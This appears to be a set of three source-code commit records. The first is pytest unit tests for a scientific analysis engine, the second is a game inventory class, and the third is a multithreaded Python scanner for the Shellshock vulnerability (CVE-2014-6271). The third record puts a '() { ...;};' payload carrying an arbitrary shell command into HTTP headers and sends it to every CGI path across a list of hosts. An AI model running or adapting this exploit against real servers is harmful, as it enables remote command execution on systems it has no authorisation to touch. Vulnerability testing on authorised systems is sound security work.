<commit_before>"""Unit test suite for analysis engine."""

from math import isclose, sqrt

import dacite
import pandas as pd
import pytest
from uncertainties import ufloat

from chamber.engine.analysis.service import AnalysisEngine
from chamber.utility.plot.contracts import Axis, DataSeries, Layout, Plot

@pytest.fixture(scope='module')
def anlys_eng():
    """Create a module level instance of the analysis engine."""
    return AnalysisEngine()

@pytest.fixture(scope='function')
def observations():
    """Create observations DataFrame."""
    observation_data = dict(
        Tdp=[ufloat(280.123456789, 0.2), ufloat(280.2, 0.2)],
        m=[ufloat(0.1234567, 1e-7), ufloat(0.1222222, 1e-7)],
        Jref=[ufloat(0, 0), ufloat(0, 0)],
        P=[ufloat(987654, 1481), ufloat(987000, 1480)],
        Te=[ufloat(300.2, 0.2/sqrt(3)), ufloat(301.2, 0.2/sqrt(3))],
        Ts=[ufloat(290.0, 0.5), ufloat(290.2, 0.5)],
        Tic=[ufloat(291.0, 0.2), ufloat(291.2, 0.2)],
        cap_man=[True, False],
        optidew=[True, False]
        )

    time = [0, 1]

    return pd.DataFrame(index=time, data=observation_data)

@pytest.fixture('function')
def observation_layout():
    """Create observation layout."""
    # First the DataSeries ---------------------------------------------------
    data_series = dict()

    # time, t
    data = {'values': [0, 1]}
    data_series['t'] = dacite.from_dict(DataSeries, data)

    # dew point, Tdp
    data = dict(
        values=[280.123456789, 280.2],
        sigma=[0.2, 0.2],
        label='Tdp')
    data_series['Tdp'] = dacite.from_dict(DataSeries, data)

    # mass, m
    data = dict(
        values=[0.1234567, 0.1222222],
        sigma=[1e-7, 1e-7],
        label='m')
    data_series['m'] = dacite.from_dict(DataSeries, data)

    # pow_ref, Jref
    data = dict(
        values=[0, 0],
        sigma=[0, 0],
        label='Jref')
    data_series['Jref'] = dacite.from_dict(DataSeries, data)

    # pressure, P
    data = dict(
        values=[987654, 987000],
        sigma=[1481, 1480],
        label='P')
    data_series['P'] = dacite.from_dict(DataSeries, data)

    # Ambient temp, Te
    data = dict(
        values=[300.2, 301.2],
        sigma=[0.2/sqrt(3), 0.2/sqrt(3)],
        label='Te')
    data_series['Te'] = dacite.from_dict(DataSeries, data)

    # Surface temp, Ts
    data = dict(
        values=[290.0, 290.2],
        sigma=[0.5, 0.5],
        label='Ts')
    data_series['Ts'] = dacite.from_dict(DataSeries, data)

    # IC temp, Tic
    data = dict(
        values=[291.0, 291.2],
        sigma=[0.2, 0.2],
        label='Tic')
    data_series['Tic'] = dacite.from_dict(DataSeries, data)

    # Cap-man status, cap_man
    data = dict(
        values=[True, False],
        label='cap_man')
    data_series['cap_man'] = dacite.from_dict(DataSeries, data)

    # Optidew status, optidew
    data = dict(
        values=[True, False],
        label='optidew')
    data_series['optidew'] = dacite.from_dict(DataSeries, data)

    # Now the Axis -----------------------------------------------------------
    axes = dict()

    data = dict(
        data=[data_series['m']], y_label='mass, [kg]',
        error_type='continuous')
    axes['mass'] = dacite.from_dict(Axis, data)

    data = dict(
        data=[data_series['Tdp'], data_series['Te'], data_series['Ts'],
              data_series['Tic']],
        y_label='temperature, [K]',
        error_type='continuous')
    axes['temp'] = dacite.from_dict(Axis, data)

    data = dict(
        data=[data_series['P']], y_label='pressure, [Pa]',
        error_type='continuous')
    axes['pressure'] = dacite.from_dict(Axis, data)

    data = dict(
        data=[data_series['Jref']], y_label='Ref power, [W]',
        error_type='continuous')
    axes['Jref'] = dacite.from_dict(Axis, data)

    data = dict(
        data=[data_series['cap_man'], data_series['optidew']],
        y_label='status')
    axes['status'] = dacite.from_dict(Axis, data)

    # Then the Plots ---------------------------------------------------------
    plots = dict()

    data = dict(
        abscissa=data_series['t'],
        axes=[axes['mass'], axes['temp']],
        x_label='index')
    plots['mass_and_temp'] = dacite.from_dict(Plot, data)

    data = dict(
        abscissa=data_series['t'],
        axes=[axes['pressure']],
        x_label='index')
    plots['pressure'] = dacite.from_dict(Plot, data)

    data = dict(
        abscissa=data_series['t'],
        axes=[axes['Jref'], axes['status']],
        x_label='index')
    plots['pow_and_status'] = dacite.from_dict(Plot, data)

    # Finally, the layout ----------------------------------------------------
    data = dict(
        plots=[
            plots['mass_and_temp'], plots['pressure'],
            plots['pow_and_status']
            ],
        style='seaborn-darkgrid')

    return dacite.from_dict(Layout, data)

def test_get_observations(anlys_eng, data_spec, observations):  # noqa: D103
    # Act --------------------------------------------------------------------
    result = anlys_eng._get_observations(data_spec.observations)

    # Assert -----------------------------------------------------------------
    status_set = {'cap_man', 'optidew'}
    for time in result.index:
        for key in result.columns:  # pylint: disable=not-an-iterable
            this_obs = result.loc[time, key]
            expect_this = observations.loc[time, key]
            if key not in status_set:
                # First check the nominal value
                assert isclose(
                    this_obs.nominal_value, expect_this.nominal_value
                    )
                # Then the standard deviation
                assert isclose(
                    this_obs.std_dev, expect_this.std_dev
                    )
            else:
                assert this_obs is expect_this

def test_layout_observations(anlys_eng, observations, observation_layout):  # noqa: D103
    # Act --------------------------------------------------------------------
    # TODO: Move observation_layout into this test.
    # NOTE: It does not need to be a fixture.
    layout = anlys_eng._layout_observations(observations)
    # Assert -----------------------------------------------------------------
    assert layout.style == observation_layout.style
    # mass and temperature
    assert layout.plots[0] == observation_layout.plots[0]
    # pressure and power
    assert layout.plots[1] == observation_layout.plots[1]
    # status
    assert layout.plots[2] == observation_layout.plots[2]

@pytest.mark.parametrize(
    'center, expected',
    [
        (1, [ufloat(10, 1e-1), ufloat(9, 9e-2), ufloat(8, 8e-2)]),
        (2, [ufloat(10, 1e-1), ufloat(9, 9e-2), ufloat(8, 8e-2), ufloat(7, 7e-2), ufloat(6, 6e-2)]),
        (3, [ufloat(9, 9e-2), ufloat(8, 8e-2), ufloat(7, 7e-2), ufloat(6, 6e-2), ufloat(5, 5e-2)]),
        (4, [ufloat(7, 7e-2), ufloat(6, 6e-2), ufloat(5, 5e-2)]),
        ]
    )
def test_max_slice_even(anlys_eng, center, expected):  # noqa: D103
    """
    Test get maximum slice.

    Assumptions
    -----------
    #. DataFrame has a pd.RangeIndex with start == 0 and step == 1.
    #. Each element in the desired column is a ufloat

    """
    # Arrange ----------------------------------------------------------------
    # Build the dataframe
    data = dict(
        my_col=[
            ufloat(10, 0.1), ufloat(9, 0.09), ufloat(8, 0.08), ufloat(7, 0.07),
            ufloat(6, 0.06), ufloat(5, 0.05)
            ],
        not_my_col=[-999] * 6,
        )
    dataframe = pd.DataFrame(data=data)
    # Act --------------------------------------------------------------------
    slice_ = anlys_eng._max_slice(df=dataframe, center=center, col='my_col')
    # Assert -----------------------------------------------------------------
    assert len(slice_) == len(expected)
    for result, correct in zip(slice_, expected):
        assert isclose(result.nominal_value, correct.nominal_value)
        assert isclose(result.std_dev, correct.std_dev)
    # NOTE: You need to add the rest of the test cases by parameterizing.
<commit_msg>Completes test for max_slice.<commit_after>"""Unit test suite for analysis engine."""

from math import isclose, sqrt

import dacite
import pandas as pd
import pytest
from uncertainties import ufloat

from chamber.engine.analysis.service import AnalysisEngine
from chamber.utility.plot.contracts import Axis, DataSeries, Layout, Plot

@pytest.fixture(scope='module')
def anlys_eng():
    """Create a module level instance of the analysis engine."""
    return AnalysisEngine()

@pytest.fixture(scope='function')
def observations():
    """Create observations DataFrame."""
    observation_data = dict(
        Tdp=[ufloat(280.123456789, 0.2), ufloat(280.2, 0.2)],
        m=[ufloat(0.1234567, 1e-7), ufloat(0.1222222, 1e-7)],
        Jref=[ufloat(0, 0), ufloat(0, 0)],
        P=[ufloat(987654, 1481), ufloat(987000, 1480)],
        Te=[ufloat(300.2, 0.2/sqrt(3)), ufloat(301.2, 0.2/sqrt(3))],
        Ts=[ufloat(290.0, 0.5), ufloat(290.2, 0.5)],
        Tic=[ufloat(291.0, 0.2), ufloat(291.2, 0.2)],
        cap_man=[True, False],
        optidew=[True, False]
        )

    time = [0, 1]

    return pd.DataFrame(index=time, data=observation_data)

@pytest.fixture('function')
def observation_layout():
    """Create observation layout."""
    # First the DataSeries ---------------------------------------------------
    data_series = dict()

    # time, t
    data = {'values': [0, 1]}
    data_series['t'] = dacite.from_dict(DataSeries, data)

    # dew point, Tdp
    data = dict(
        values=[280.123456789, 280.2],
        sigma=[0.2, 0.2],
        label='Tdp')
    data_series['Tdp'] = dacite.from_dict(DataSeries, data)

    # mass, m
    data = dict(
        values=[0.1234567, 0.1222222],
        sigma=[1e-7, 1e-7],
        label='m')
    data_series['m'] = dacite.from_dict(DataSeries, data)

    # pow_ref, Jref
    data = dict(
        values=[0, 0],
        sigma=[0, 0],
        label='Jref')
    data_series['Jref'] = dacite.from_dict(DataSeries, data)

    # pressure, P
    data = dict(
        values=[987654, 987000],
        sigma=[1481, 1480],
        label='P')
    data_series['P'] = dacite.from_dict(DataSeries, data)

    # Ambient temp, Te
    data = dict(
        values=[300.2, 301.2],
        sigma=[0.2/sqrt(3), 0.2/sqrt(3)],
        label='Te')
    data_series['Te'] = dacite.from_dict(DataSeries, data)

    # Surface temp, Ts
    data = dict(
        values=[290.0, 290.2],
        sigma=[0.5, 0.5],
        label='Ts')
    data_series['Ts'] = dacite.from_dict(DataSeries, data)

    # IC temp, Tic
    data = dict(
        values=[291.0, 291.2],
        sigma=[0.2, 0.2],
        label='Tic')
    data_series['Tic'] = dacite.from_dict(DataSeries, data)

    # Cap-man status, cap_man
    data = dict(
        values=[True, False],
        label='cap_man')
    data_series['cap_man'] = dacite.from_dict(DataSeries, data)

    # Optidew status, optidew
    data = dict(
        values=[True, False],
        label='optidew')
    data_series['optidew'] = dacite.from_dict(DataSeries, data)

    # Now the Axis -----------------------------------------------------------
    axes = dict()

    data = dict(
        data=[data_series['m']], y_label='mass, [kg]',
        error_type='continuous')
    axes['mass'] = dacite.from_dict(Axis, data)

    data = dict(
        data=[data_series['Tdp'], data_series['Te'], data_series['Ts'],
              data_series['Tic']],
        y_label='temperature, [K]',
        error_type='continuous')
    axes['temp'] = dacite.from_dict(Axis, data)

    data = dict(
        data=[data_series['P']], y_label='pressure, [Pa]',
        error_type='continuous')
    axes['pressure'] = dacite.from_dict(Axis, data)

    data = dict(
        data=[data_series['Jref']], y_label='Ref power, [W]',
        error_type='continuous')
    axes['Jref'] = dacite.from_dict(Axis, data)

    data = dict(
        data=[data_series['cap_man'], data_series['optidew']],
        y_label='status')
    axes['status'] = dacite.from_dict(Axis, data)

    # Then the Plots ---------------------------------------------------------
    plots = dict()

    data = dict(
        abscissa=data_series['t'],
        axes=[axes['mass'], axes['temp']],
        x_label='index')
    plots['mass_and_temp'] = dacite.from_dict(Plot, data)

    data = dict(
        abscissa=data_series['t'],
        axes=[axes['pressure']],
        x_label='index')
    plots['pressure'] = dacite.from_dict(Plot, data)

    data = dict(
        abscissa=data_series['t'],
        axes=[axes['Jref'], axes['status']],
        x_label='index')
    plots['pow_and_status'] = dacite.from_dict(Plot, data)

    # Finally, the layout ----------------------------------------------------
    data = dict(
        plots=[
            plots['mass_and_temp'], plots['pressure'],
            plots['pow_and_status']
            ],
        style='seaborn-darkgrid')

    return dacite.from_dict(Layout, data)

def test_get_observations(anlys_eng, data_spec, observations):  # noqa: D103
    # Act --------------------------------------------------------------------
    result = anlys_eng._get_observations(data_spec.observations)

    # Assert -----------------------------------------------------------------
    status_set = {'cap_man', 'optidew'}
    for time in result.index:
        for key in result.columns:  # pylint: disable=not-an-iterable
            this_obs = result.loc[time, key]
            expect_this = observations.loc[time, key]
            if key not in status_set:
                # First check the nominal value
                assert isclose(
                    this_obs.nominal_value, expect_this.nominal_value
                    )
                # Then the standard deviation
                assert isclose(
                    this_obs.std_dev, expect_this.std_dev
                    )
            else:
                assert this_obs is expect_this

def test_layout_observations(anlys_eng, observations, observation_layout):  # noqa: D103
    # Act --------------------------------------------------------------------
    # TODO: Move observation_layout into this test.
    # NOTE: It does not need to be a fixture.
    layout = anlys_eng._layout_observations(observations)
    # Assert -----------------------------------------------------------------
    assert layout.style == observation_layout.style
    # mass and temperature
    assert layout.plots[0] == observation_layout.plots[0]
    # pressure and power
    assert layout.plots[1] == observation_layout.plots[1]
    # status
    assert layout.plots[2] == observation_layout.plots[2]

@pytest.mark.parametrize(
    'center, expected',
    [
        (1, [ufloat(10, 1e-1), ufloat(9, 9e-2), ufloat(8, 8e-2)]),
        (2, [ufloat(10, 1e-1), ufloat(9, 9e-2), ufloat(8, 8e-2), ufloat(7, 7e-2), ufloat(6, 6e-2)]),
        (3, [ufloat(10, 1e-1), ufloat(9, 9e-2), ufloat(8, 8e-2), ufloat(7, 7e-2), ufloat(6, 6e-2), ufloat(5, 5e-2), ufloat(4, 4e-2)]),
        (4, [ufloat(8, 8e-2), ufloat(7, 7e-2), ufloat(6, 6e-2), ufloat(5, 5e-2), ufloat(4, 4e-2)]),
        (5, [ufloat(6, 6e-2), ufloat(5, 5e-2), ufloat(4, 4e-2)]),
        ]
    )
def test_max_slice(anlys_eng, center, expected):  # noqa: D103
    """
    Test get maximum slice.

    Assumptions
    -----------
    #. DataFrame has a pd.RangeIndex with start == 0 and step == 1.
    #. Each element in the desired column is a ufloat

    """
    # Arrange ----------------------------------------------------------------
    # Build the dataframe
    data = dict(
        my_col=[
            ufloat(10, 1e-1), ufloat(9, 9e-2), ufloat(8, 8e-2), ufloat(7, 7e-2),
            ufloat(6, 6e-2), ufloat(5, 5e-2), ufloat(4, 4e-2)
            ],
        not_my_col=[-999] * 7,
        )
    dataframe = pd.DataFrame(data=data)
    # Act --------------------------------------------------------------------
    slice_ = anlys_eng._max_slice(df=dataframe, center=center, col='my_col')
    # Assert -----------------------------------------------------------------
    assert len(slice_) == len(expected)
    for result, correct in zip(slice_, expected):
        assert isclose(result.nominal_value, correct.nominal_value)
        assert isclose(result.std_dev, correct.std_dev)
<|endoftext|>


<commit_before>from item import Item
import random
from floatingText import FloatingText,FloatingTextManager
from playerConsole import PlayerConsole
from serializable import Serializable
import weakref
from eventRegistry import Event
from eventRegistry import EventRegistry

class Inventory(Serializable):
    INV_SIZE_X = 10
    INV_SIZE_Y = 3
    BASE_EVENT_TYPE = 'inv_'

    def addItemListener(self,event):
        PlayerConsole.registerNewEvent("success!")

    def __init__(self, **kwargs):
        self.items = kwargs.get("items",[[None]*3 for _ in range(10)])
        self.hotbar = kwargs.get("hotbar",[None]*10)
        self.hotbarSelection = kwargs.get("hotbarSelection",0)

        #Creating a blank weakref
        o = Item()
        self.playerCharacter = weakref.ref(o)
        del(o)

        self.update()
        EventRegistry.registerListener(self.addItemListener, "inv_add")

    def addItem(self, item):
        # EventRegistry.registerEvent(Event(
        #     Inventory.BASE_EVENT_TYPE + 'add',
        #     {'item':item}
        #     ))
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] != None and self.hotbar[x].name == item.name:
                self.hotbar[x].quantity += item.quantity
                return
            if self.hotbar[x] == None and isinstance(item, Item):
                self.hotbar[x] = item
                return
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] != None and self.items[x][y].name == item.name:
                    self.items[x][y].quantity += item.quantity
                    return
                if self.items[x][y] == None and isinstance(item, Item):
                    self.items[x][y] = item
                    return

    def removeItem(self, item):
        # EventRegistry.registerEvent(Event(
        #     Inventory.BASE_EVENT_TYPE + 'remove',
        #     {'item':item}
        #     ))
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] == item:
                self.hotbar[x] = None
                return
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] == item:
                    self.items[x][y] = None
                    return

    def removeItemQuantity(self, item, quantity):
        """
        NOTE: Takes an item NAME as the 'item' param, not an Item object.
        """
        EventRegistry.registerEvent(Event(
            Inventory.BASE_EVENT_TYPE + 'remove_quantity',
            {'item_name':item,
            'quantity':quantity}
            ))
        quantityRemoved = 0;
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] is not None and self.hotbar[x].name == item:
                currItem = self.hotbar[x]
                if currItem.quantity > quantity:
                    currItem.quantity -= quantity
                    quantityRemoved = quantity
                elif currItem.quantity <= quantity:
                    quantityRemoved += currItem.quantity
                    self.hotbar[x] = None
                if(quantityRemoved >= quantity):
                    return
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] is not None and self.items[x][y].name == item:
                    currItem = self.items[x][y]
                    if currItem.quantity > quantity:
                        currItem.quantity -= quantity
                        quantityRemoved = quantity
                    elif currItem.quantity <= quantity:
                        quantityRemoved += currItem.quantity
                        self.items[x][y] = None
                    if(quantityRemoved >= quantity):
                        return

    def removeHotbarItem(self,item):
        EventRegistry.registerEvent(Event(
            Inventory.BASE_EVENT_TYPE + 'remove',
            {'item':item}
            ))
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] == item:
                self.hotbar[x] = None
                return

    def placeItem(self, item, pos):
        # EventRegistry.registerEvent(Event(
        #     Inventory.BASE_EVENT_TYPE + 'add',
        #     {'item':item}
        #     ))
        if isinstance(item,Item):
            oldItem = self.items[int(pos[0])][int(pos[1])]
            self.items[int(pos[0])][int(pos[1])] = item
            return oldItem

    def placeItemInHotbar(self, item, pos):
        # EventRegistry.registerEvent(Event(
        #     Inventory.BASE_EVENT_TYPE + 'add',
        #     {'item':item}
        #     ))
        if isinstance(item,Item):
            oldItem = self.hotbar[pos[0]]
            self.hotbar[pos[0]] = item
            return oldItem

    def getTotalItemQuantity(self, item):
        """
        Gets total quantity held of a specific item accross all stacks within Inventory
        """
        quantity = 0;
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] is not None:
                    if self.items[x][y].name == item:
                        quantity += self.items[x][y].quantity
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] is not None:
                if self.hotbar[x].name == item:
                    quantity += self.hotbar[x].quantity
        return quantity

    def addItemToHotbar(item):
        EventRegistry.registerEvent(Event(
            Inventory.BASE_EVENT_TYPE + 'add',
            {'item':item}
            ))
        for x in range(INV_SIZE_X):
            if hotbar[x] == None:
                hotbar[x] = item
                return

    def update(self):
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] is not None and self.items[x][y].quantity <= 0:
                    self.items[x][y] = None
                if self.items[x][y] is not None:
                    self.items[x][y].update()
        for x in range(Inventory.INV_SIZE_X):
                if self.hotbar[x] is not None and self.hotbar[x].quantity <= 0:
                    self.hotbar[x] = None
                if self.hotbar[x] is not None:
                    self.hotbar[x].update()

    def craftingNotification(self,recipe):
        offsetY = 0
        offsetPerNotification = 10

        if self.playerCharacter() is None:
            return
        for item in recipe.products:
            item = Item(item)
            item.quantity = recipe.products[item.name]
            FloatingTextManager.ACTIVE_FLOATING_TEXTS.append(FloatingText(
                       "+" + str(item.quantity) + " " + item.name,
                       (self.playerCharacter().fPos[0], self.playerCharacter().fPos[1] + offsetY),
                       vert_speed = -1,
                       hor_speed = -1,
                       alpha_decay = 5,
                       lifetime = 50))
            offsetY += offsetPerNotification
            PlayerConsole.registerNewEvent("You crafted " + str(item.quantity) + " " + item.name + "(s)!", color=(255,0,0,255))

<commit_msg>Trying to add redundant events again<commit_after>from item import Item
import random
from floatingText import FloatingText,FloatingTextManager
from playerConsole import PlayerConsole
from serializable import Serializable
import weakref
from eventRegistry import Event
from eventRegistry import EventRegistry

class Inventory(Serializable):
    INV_SIZE_X = 10
    INV_SIZE_Y = 3
    BASE_EVENT_TYPE = 'inv_'

    def addItemListener(self,event):
        PlayerConsole.registerNewEvent("success!")

    def __init__(self, **kwargs):
        self.items = kwargs.get("items",[[None]*3 for _ in range(10)])
        self.hotbar = kwargs.get("hotbar",[None]*10)
        self.hotbarSelection = kwargs.get("hotbarSelection",0)

        #Creating a blank weakref
        o = Item()
        self.playerCharacter = weakref.ref(o)
        del(o)

        self.update()
        EventRegistry.registerListener(self.addItemListener, "inv_add")

    def addItem(self, item):
        # EventRegistry.registerEvent(Event(
        #     Inventory.BASE_EVENT_TYPE + 'add',
        #     {'item':item}
        #     ))
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] != None and self.hotbar[x].name == item.name:
                self.hotbar[x].quantity += item.quantity
                return
            if self.hotbar[x] == None and isinstance(item, Item):
                self.hotbar[x] = item
                return
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] != None and self.items[x][y].name == item.name:
                    self.items[x][y].quantity += item.quantity
                    return
                if self.items[x][y] == None and isinstance(item, Item):
                    self.items[x][y] = item
                    return

    def removeItem(self, item):
        # EventRegistry.registerEvent(Event(
        #     Inventory.BASE_EVENT_TYPE + 'remove',
        #     {'item':item}
        #     ))
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] == item:
                self.hotbar[x] = None
                return
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] == item:
                    self.items[x][y] = None
                    return

    def removeItemQuantity(self, item, quantity):
        """
        NOTE: Takes an item NAME as the 'item' param, not an Item object.
        """
        EventRegistry.registerEvent(Event(
            Inventory.BASE_EVENT_TYPE + 'remove_quantity',
            {'item_name':item,
            'quantity':quantity}
            ))
        quantityRemoved = 0;
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] is not None and self.hotbar[x].name == item:
                currItem = self.hotbar[x]
                if currItem.quantity > quantity:
                    currItem.quantity -= quantity
                    quantityRemoved = quantity
                elif currItem.quantity <= quantity:
                    quantityRemoved += currItem.quantity
                    self.hotbar[x] = None
                if(quantityRemoved >= quantity):
                    return
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] is not None and self.items[x][y].name == item:
                    currItem = self.items[x][y]
                    if currItem.quantity > quantity:
                        currItem.quantity -= quantity
                        quantityRemoved = quantity
                    elif currItem.quantity <= quantity:
                        quantityRemoved += currItem.quantity
                        self.items[x][y] = None
                    if(quantityRemoved >= quantity):
                        return

    def removeHotbarItem(self,item):
        EventRegistry.registerEvent(Event(
            Inventory.BASE_EVENT_TYPE + 'remove',
            {'item':item}
            ))
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] == item:
                self.hotbar[x] = None
                return

    def placeItem(self, item, pos):
        EventRegistry.registerEvent(Event(
            Inventory.BASE_EVENT_TYPE + 'add',
            {'item':item}
            ))
        if isinstance(item,Item):
            oldItem = self.items[int(pos[0])][int(pos[1])]
            self.items[int(pos[0])][int(pos[1])] = item
            return oldItem

    def placeItemInHotbar(self, item, pos):
        EventRegistry.registerEvent(Event(
            Inventory.BASE_EVENT_TYPE + 'add',
            {'item':item}
            ))
        if isinstance(item,Item):
            oldItem = self.hotbar[pos[0]]
            self.hotbar[pos[0]] = item
            return oldItem

    def getTotalItemQuantity(self, item):
        """
        Gets total quantity held of a specific item accross all stacks within Inventory
        """
        quantity = 0;
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] is not None:
                    if self.items[x][y].name == item:
                        quantity += self.items[x][y].quantity
        for x in range(Inventory.INV_SIZE_X):
            if self.hotbar[x] is not None:
                if self.hotbar[x].name == item:
                    quantity += self.hotbar[x].quantity
        return quantity

    def addItemToHotbar(item):
        EventRegistry.registerEvent(Event(
            Inventory.BASE_EVENT_TYPE + 'add',
            {'item':item}
            ))
        for x in range(INV_SIZE_X):
            if hotbar[x] == None:
                hotbar[x] = item
                return

    def update(self):
        for x in range(Inventory.INV_SIZE_X):
            for y in range(Inventory.INV_SIZE_Y):
                if self.items[x][y] is not None and self.items[x][y].quantity <= 0:
                    self.items[x][y] = None
                if self.items[x][y] is not None:
                    self.items[x][y].update()
        for x in range(Inventory.INV_SIZE_X):
                if self.hotbar[x] is not None and self.hotbar[x].quantity <= 0:
                    self.hotbar[x] = None
                if self.hotbar[x] is not None:
                    self.hotbar[x].update()

    def craftingNotification(self,recipe):
        offsetY = 0
        offsetPerNotification = 10

        if self.playerCharacter() is None:
            return
        for item in recipe.products:
            item = Item(item)
            item.quantity = recipe.products[item.name]
            FloatingTextManager.ACTIVE_FLOATING_TEXTS.append(FloatingText(
                       "+" + str(item.quantity) + " " + item.name,
                       (self.playerCharacter().fPos[0], self.playerCharacter().fPos[1] + offsetY),
                       vert_speed = -1,
                       hor_speed = -1,
                       alpha_decay = 5,
                       lifetime = 50))
            offsetY += offsetPerNotification
            PlayerConsole.registerNewEvent("You crafted " + str(item.quantity) + " " + item.name + "(s)!", color=(255,0,0,255))

<|endoftext|>


<commit_before>#!/usr/bin/env python
# Author: Mario Rivas Vivar
# https://twitter.com/Grifo

"""
Scan a list of hosts with a list of CGIs trying to exploit
 the ShellShock vulnerability (CVE-2014-6271)
"""

import httplib,urllib,sys,time
import pprint
import csv

from threading import Thread
from Queue import Queue

SLEEP_TIME=9
DELAY_TIME=5
TIMEOUT=10
ERRORS_TO_ABORT = 5
protocol=''
target_results = []
concurrent = 20

def exploit(target_host, cgi_path, command):
    # print >> sys.stderr, "Connecting to %s - %s" %(target_host, cgi_path)
    if protocol == 'http':
        conn = httplib.HTTPConnection(target_host, timeout=TIMEOUT)
    elif protocol == 'https':
        conn = httplib.HTTPSConnection(target_host, timeout=TIMEOUT)
    elif target_host.endswith('443'):   #https for 443,9443,...
        conn = httplib.HTTPSConnection(target_host, timeout=TIMEOUT)
    else:
        conn = httplib.HTTPConnection(target_host, timeout=TIMEOUT)

    shellcode="() { gmvaudit;};%s" % command

    headers = {"Content-type": "application/x-www-form-urlencoded",
        "Referer": shellcode,
        "Cookie": shellcode,
        "User-Agent": shellcode,
        "test": shellcode,
        }
    start = time.time()
    conn.request("GET", cgi_path, headers=headers)
    res = conn.getresponse()
    end = time.time()
    delay = end - start
    # print >> sys.stderr, "%s:\t[%s]\t%s %s\t%s" %(target_host, command, res.status, res.reason, delay)
    return (res.status, res.reason, delay)

def testSleep(target_host, cgi_path):
    try:
        status1 = reason1 = delay1 = status2 = reason2 = delay2 = None
        command1 = "/bin/sleep 0"	#Yes I know.. but I was too lazy to do just a normal request
        command2 = "/bin/sleep %s" % SLEEP_TIME
        status1, reason1, delay1 = exploit(target_host, cgi_path, command1)
        status2, reason2, delay2 = exploit(target_host, cgi_path, command2)
        warning = delay2 > SLEEP_TIME
        vulnerable = warning and delay2-delay1>DELAY_TIME
        if vulnerable:
            print "%s%s\t VULNERABLE" %(target_host, cgi_path)
        print "%s%s - %s - %s" %(target_host, cgi_path, vulnerable, delay2)
        return {'host': target_host,
                'cgi_path': cgi_path,
                'requests': [(command1, status1,reason1,delay1), (command2,status2,reason2,delay2)],
                'vulnerable' : vulnerable,
                'warning' : warning,
                'error': False,
                'delay_diff' : delay2-delay1
                }
    except:
        # Probably exception with the connection
        return {'host': target_host,
                'cgi_path': cgi_path,
                'requests': [(command1,status1,reason1,delay1), (command2,status2,reason2,delay2)],
                'vulnerable' : False,
                'warning' : False,
                'error': True,
                'delay_diff' : None
                }

def testCGIList(target_host, cgi_list):
    test_list = []
    errors = 0
    for cgi_path in cgi_list:
        cgitest = testSleep(target_host, cgi_path)
        test_list.append(cgitest)
        if cgitest['error'] is True:
            errors +=1;
        else:
            errors = 0
        if errors >= ERRORS_TO_ABORT:
            print "%s aborted due to %s consecutive connection errors" %(cgitest['host'], ERRORS_TO_ABORT)
            break;
    return test_list

def threadWork():
    global target_results
    while True:
        (target, cgi_list) = q.get()
        host_tests = testCGIList(target, cgi_list)
        target_results.append(host_tests)
        q.task_done()

def scan(target_list, cgi_list):
    global q
    q = Queue(concurrent * 2)
    for i in range(concurrent):
        t = Thread(target=threadWork)
        t.daemon = True
        t.start()
    try:
        for target in target_list:
            q.put((target, cgi_list))
        q.join()
    except keyboartInterrupt:
        return

def writeCSV(target_results, output):
    csvf = open(output, 'w')
    csvw = csv.writer(csvf, csv.excel)
    csvw.writerow(['HOST', 'CGIPATH', 'VULNERABLE', 'ERROR','WARNING', 'COMMAND1', 'STATUS1', 'REASON1', 'DELAY1', 'COMMAND2','STATUS2', 'REASON2', 'DELAY2', 'DELAY_DIFF'])
    target_results.sort()
    for host_list in target_results:
        for test in host_list:
            l = [
                test['host'],
                test['cgi_path'],
                test['vulnerable'],
                test['error'],
                test['warning'],
                test['requests'][0][0],
                test['requests'][0][1],
                test['requests'][0][2],
                test['requests'][0][3],
                test['requests'][1][0],
                test['requests'][1][1],
                test['requests'][1][2],
                test['requests'][1][3],
                test['delay_diff']
            ]
            pprint.pprint(l)
            csvw.writerow(l)

    csvf.close()

def main():
    if (len(sys.argv)<4):
        print "Usage: %s <host_file> <CGI_file> <output.csv> [threads] [http|https]" % sys.argv[0]
        print "Example: %s hosts.txt cgi_list.txt results.csv 20 http" % sys.argv[0]
        exit(0)

    target_list = [line.strip() for line in open(sys.argv[1]).readlines() if len(line.strip())>0]
    cgi_list = [line.strip() for line in open(sys.argv[2]).readlines() if len(line.strip())>0]

    try:
        global concurrent
        concurrent = int(sys.argv[4])
    except:
        pass

    try:
        if sys.argv[5] != 'http' and sys.argv[5] != 'https':
            print "Incorrect protocol, %s" %sys.argv[5]
            exit(0)
        global protocol
        protocol=sys.argv[5]
    except:
        pass

    scan(target_list, cgi_list)
    # pprint.pprint(target_results)
    writeCSV(target_results, sys.argv[3])
    exit(0)

if __name__ == '__main__':
    main()

<commit_msg>little changes<commit_after>#!/usr/bin/env python
# Author: Mario Rivas Vivar
# https://twitter.com/Grifo

"""
Scan a list of hosts with a list of CGIs trying to exploit
 the ShellShock vulnerability (CVE-2014-6271)
"""

import httplib,urllib,sys,time
import pprint
import csv

from threading import Thread
from Queue import Queue

SLEEP_TIME=9
DELAY_TIME=5
TIMEOUT=10
ERRORS_TO_ABORT = 5
protocol=''
target_results = []
concurrent = 20

def exploit(target_host, cgi_path, command):
